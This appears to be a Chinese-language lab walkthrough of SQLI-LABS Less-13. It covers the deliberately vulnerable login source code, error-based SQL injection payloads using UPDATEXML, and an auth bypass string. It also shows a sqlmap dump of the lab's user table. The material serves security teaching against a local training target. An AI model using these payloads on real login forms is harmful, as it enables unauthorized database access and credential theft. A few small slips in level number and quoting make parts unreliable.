目錄
一、字符型注入
二、limit函數
三、GET方法與POST方法
四、源碼分析
1、代碼審計
2、SQL注入安全分析
3、報錯型注入與聯合注入
五、滲透實戰
1、進入靶場
2、注入點分析
(1)SQL語句
(2)admin')?#注入探測
(3)admin') or 1=1#注入探測
3、手工注入
?(1)獲取數據庫名
(2)獲取表名
(3)獲取列名
(4)獲取數據
4、sqlmap滲透實戰
SQLI-LABS 是一個專門為學習和練習 SQL 注入技術而設計的開源靶場環境,本小節通過手工注入和腳本注入共2種方法對第13關Less 13基于報錯型的SQL注入關卡進行滲透實戰,相對于前1-10關的最主要區別是報文參數的請求方法由GET變為POST,相對于第12關區別主要是閉合方式由雙引號括號變為單引號括號,以及相對于11關和12關區別是登錄成功后不再顯示文字信息。??
一、字符型注入
字符型注入是 SQL 注入的一種類型,攻擊者通過在輸入字段中插入惡意 SQL 代碼來改變原 SQL 語句的邏輯。字符型注入通常發生在SQL 語句使用單引號或者雙引號等包裹字符串參數的場景中。攻擊者通過閉合單引號或者雙引號等符號并注入額外的 SQL 代碼,破壞原有語句結構。
二、limit函數
Limit是 SQL 中用于限制查詢結果數量的子句,不是真正的函數。Limit通常有兩種常見形式,具體如下所示。
-
單參數形式:
LIMIT n
-
返回前 n 條記錄
-
示例:
LIMIT 5
?返回前5條結果
-
-
雙參數形式:
LIMIT offset, count
-
offset
:跳過的記錄數(從0開始) -
count
:要返回的記錄數 -
示例:
LIMIT 10, 5
?跳過前10條,返回接下來的5條
-
舉例:SQL語句“SELECT * FROM users WHERE id=('$id') LIMIT 0,1”中的LIMIT 0,1"表示獲取第一條匹配的記錄",LIMIT0,1的具體含義如下所示,
-
從第0條記錄開始(即不跳過任何記錄)
-
只返回1條記錄
三、GET方法與POST方法
GET 和 POST 是 HTTP 協議中兩種常用請求方法,GET 側重 “獲取”,參數可見且有局限性;POST 側重 “提交”,參數隱蔽且更靈活。兩者的詳細區別如下表所示。
對比項 | GET 方法 | POST 方法 |
---|---|---|
參數位置 | 參數附在 URL 后(如?name=value ) | 參數放在 HTTP 請求體中 |
可見性 | 參數暴露在 URL 中,不安全 | 參數不可見,相對安全 |
編碼支持 | 只允許 ASCII 字符 | 支持任何編碼類型 |
安全性 | 不適合傳輸敏感數據(如密碼) | 更適合傳輸敏感數據 |
應用場景 | 獲取數據(如搜索、分頁) | 提交數據(如表單、文件上傳) |
典型注入點 | URL 參數(如id=1' OR 1=1 -- ) | 表單字段(如 POST 數據中的username ) |
四、源碼分析
1、代碼審計
本關卡Less13是基于字符型的SQL注入關卡,打開對應的源碼index.php,如下所示。
Less13關卡的源碼功能是登錄驗證頁面,與12關的區別主要是閉合方式由雙引號括號變為單引號括號,以及登錄成功后不再顯示用戶名和密碼,具體如下所示。
詳細注釋后的源碼如下所示。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Less-13- Double Injection- String- with twist</title> <!-- 雙注入-字符串-帶變化 -->
</head><body bgcolor="#000000"> <!-- 黑色背景 -->
<div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome <font color="#FF0000"> Dhakkan </font><br></div><!-- 登錄表單區域 -->
<div align="center" style="margin:40px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;"><div style="padding-top:10px; font-size:15px;"><form action="" name="form1" method="post"> <!-- POST方式提交表單 --><div style="margin-top:15px; height:30px;">Username : <input type="text" name="uname" value=""/> <!-- 用戶名輸入框 --></div> <div> Password : <input type="text" name="passwd" value=""/> <!-- 密碼輸入框 --></div></br><div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /> <!-- 提交按鈕 --></div></form></div>
</div><div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">
<font size="6" color="#FFFF00"><?php
// 包含MySQL連接配置文件
include("../sql-connections/sqli-connect.php");
// 關閉PHP錯誤報告
error_reporting(0);// 檢查是否提交了用戶名和密碼
if(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname = $_POST['uname']; // 獲取用戶名$passwd = $_POST['passwd']; // 獲取密碼// 記錄用戶輸入到日志文件$fp = fopen('result.txt','a');fwrite($fp,'User Name:'.$uname."\n");fwrite($fp,'Password:'.$passwd."\n");fclose($fp);// 構造SQL查詢 - 使用括號和單引號@$sql = "SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row) { // 登錄成功echo "<br>";echo '<font color= "#FFFF00" font size = 4>';echo '<font size="3" color="#0000ff">'; // 注意:用戶名和密碼輸出被注釋掉echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg" />'; // 成功標志圖片 } else { // 登錄失敗echo '<font color= "#0000ff" font size="3">';print_r(mysqli_error($con1)); // 關鍵安全風險點:顯示數據庫錯誤信息echo "</br>";echo "</br>";echo "</br>";echo '<img src="../images/slap.jpg" />'; // 失敗圖片echo "</font>"; }
}
?>
</font>
</div>
</body>
</html>
這是一個參數為用戶名和密碼的基于POST請求登錄表單的登錄驗證頁面,存在基于錯誤的SQL注入風險,通過用戶名和密碼字段的直接拼接構造SQL查詢,并顯示數據庫錯誤信息,主要功能是:
-
提供用戶名和密碼的登錄表單(POST方法提交)
-
記錄所有登錄嘗試到result.txt日志文件
-
使用括號和單引號構造SQL查詢(
WHERE username=('$uname')
) -
響應處理:
-
登錄成功:僅顯示成功圖片(不顯示具體用戶信息,無法使用union法注入)
-
登錄失敗:顯示數據庫錯誤信息和失敗圖片
-
-
關鍵風險點:顯示詳細的MySQL錯誤信息(有助于報錯法注入)
2、SQL注入安全分析
這個代碼存在嚴重的SQL注入安全問題,原因如下:
-
未過濾的用戶輸入:直接將POST參數包裹雙引號括號后拼接到SQL語句中,沒有任何過濾或轉義處理,如下所示。
$uname = $_POST['uname'];
$passwd = $_POST['passwd'];
@$sql = "SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
-
字符串拼接方式:SQL查詢使用單引號括號包裹用戶輸入,攻擊者可以閉合單引號括號注入惡意代碼。
-
錯誤信息顯示:當SQL查詢出錯時,代碼會通過print_r(mysqli_error($con1))顯示MySQL錯誤信息,這有助于攻擊者進行基于錯誤的SQL注入。
3、報錯型注入與聯合注入
報錯法和UNION法是SQL注入中兩種主要的數據提取技術,具體區別如下所示。
對比維度 | 報錯法(Error-based) | UNION法(Union-based) |
---|---|---|
基本原理 | 利用數據庫錯誤消息返回敏感信息 | 通過UNION合并查詢結果集獲取數據 |
依賴條件 | 需要顯示數據庫錯誤信息 | 需要頁面顯示查詢結果 |
查詢要求 | 不要求返回數據,只需觸發錯誤 | 要求原查詢和UNION查詢的列數相同 |
技術復雜度 | 中等(需構造特定錯誤) | 較低(直接拼接查詢) |
隱蔽性 | 較高(產生錯誤日志) | 較低(正常查詢) |
不過本關卡相對于12關,不回顯查詢結果(如下圖左所示),而12關顯示查詢結果(如下圖右所示),而union聯合注入法需要頁面顯示查詢結果才可以滲透成功,故而本關卡無法使用union聯合注入法。12關和13關都顯示數據庫的錯誤信息,故而這兩個關卡都可以用報錯法進行注入。?
五、滲透實戰
1、進入靶場
進入sqli-labs靶場首頁,其中包含基礎注入關卡、進階挑戰關卡、特殊技術關卡三部分有效關卡,如下所示。
http://127.0.0.1/sqli-labs/
其中第14關在基礎注入關卡“SQLi-LABS Page-1(Basic Challenges)”中,?點擊進入如下頁面。
http://127.0.0.1/sqli-labs/#fm_imagemap
點擊上圖紅框的Less13關卡,進入到靶場的第13關卡字符型POST注入關卡,頁面提示登錄框,需要輸入用戶名和密碼,具體如下所示。
http://192.168.59.1/sqli-labs/Less-13/
2、注入點分析
(1)SQL語句
根據源碼分析可知,本關卡通過 POST 方法接收用戶名(username)和密碼(passwd),通過括號和單引號包裹用戶名和密碼字段構造SQL查詢。登錄成功時只顯示成功圖片;失敗時通過mysqli_error($con1)
直接返回數據庫錯誤信息,導致可利用報錯注入(如UPDATEXML
函數)泄露數據。具體代碼如下所示。
$uname = $_POST['uname'];
$passwd = $_POST['passwd'];
@$sql = "SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
頁面整體基于錯誤回顯的字符串型注入場景,核心根源在于未對輸入做安全處理且暴露數據庫錯誤細節,閉合方式為單引號括號,故而本關卡可以通過POST方法字符型報錯注入進行滲透。
(2)admin')?#注入探測
bp開啟攔截報文,根據上一步我們分析注入點為username和passwd,用戶名為admin')?#,密碼任意,因admin用戶存在,故而頁面顯示登錄成功的圖標,如下所示。
這個注入執行的SQL語句應為如下內容。?
SELECT username, password FROM users WHERE username=('admin')#') and password=('mooyuan') LIMIT 0,1;
?在navicat中的security數據庫中執行如上SQL命令,執行結果如下所示。?
(3)admin') or 1=1#注入探測
根據上一步我們分析注入點為username和passwd,嘗試萬能登錄,用戶名為admin') or 1=1#,密碼任意,如下所示。
點擊登錄submit,此時頁面并沒有像上一關卡一樣顯示“Your Login name:Dumb,Your Password:Dumb;”,只是有個提示登錄成功的圖片,具體如下所示。?
admin') or 1=1#
這個注入執行的SQL語句應為如下內容。
SELECT username, password FROM users WHERE username=('admin') or 1=1#') and password=('mooyuan') LIMIT 0,1;
?在navicat中的security數據庫中執行如上SQL命令,執行結果如下所示。
在burpsuite的歷史記錄中找到這個報文,抓包效果如下所示。
此時在報文request請求部分右鍵,選擇copy to file并保存為sqli-labs13.txt,如下所示。
3、手工注入
?(1)獲取數據庫名
如下所示,數據庫的名稱為“security”。
admin') AND UPDATEXML(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),1)--
(2)獲取表名
如下所示,數據庫security共有4個表格,分別為emails,referers,uagents,users。
admin') AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()),0x7e),1)--
(3)獲取列名
如下所示,數據庫users表的列名分別為id,username,password。
admin') AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'),0x7e),1)--
(4)獲取數據
最后通過上一步獲取到的列名來提取users表的第一行的username和password內容,如下所示滲透成功。
admin') AND UPDATEXML(1,CONCAT(0x7e,(SELECT CONCAT(username,':',password) FROM users LIMIT 0,1),0x7e),1)--
4、sqlmap滲透實戰
我們使用sqlmap來進行滲透,參數的含義是獲取當前數據庫名稱(--current-db)并導出所有數據(--dump),全程自動執行無需人工交互(--batch),完整的SQL注入命令如下所示。
sqlmap -r sqli-labs13.txt --current-db --dump --batch
其中sqli-labs13.txt中的注入點被修改為如下所示。
POST /sqli-labs/Less-13/ HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/sqli-labs/Less-13/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 51uname=admin&passwd=&submit=Submit
sqlmap滲透成功,可以通過報錯法、時間盲注等方法滲透成功,具體信息如下所示。
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1101 HTTP(s) requests:
---
Parameter: uname (POST)Type: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: uname=admin') AND GTID_SUBSET(CONCAT(0x71707a6b71,(SELECT (ELT(4858=4858,1))),0x71716a7871),4858)-- vrZv&passwd=&submit=SubmitType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: uname=admin') AND (SELECT 8465 FROM (SELECT(SLEEP(5)))hudZ)-- rODI&passwd=&submit=Submit
---
[23:19:34] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.9
back-end DBMS: MySQL >= 5.6
[23:19:34] [INFO] fetching current database
[23:19:34] [INFO] retrieved: 'security'
current database: 'security'Table: users
[13 entries]
+----+------------+----------+
| id | password | username |
+----+------------+----------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
| 14 | admin4 | admin4 |
+----+------------+----------+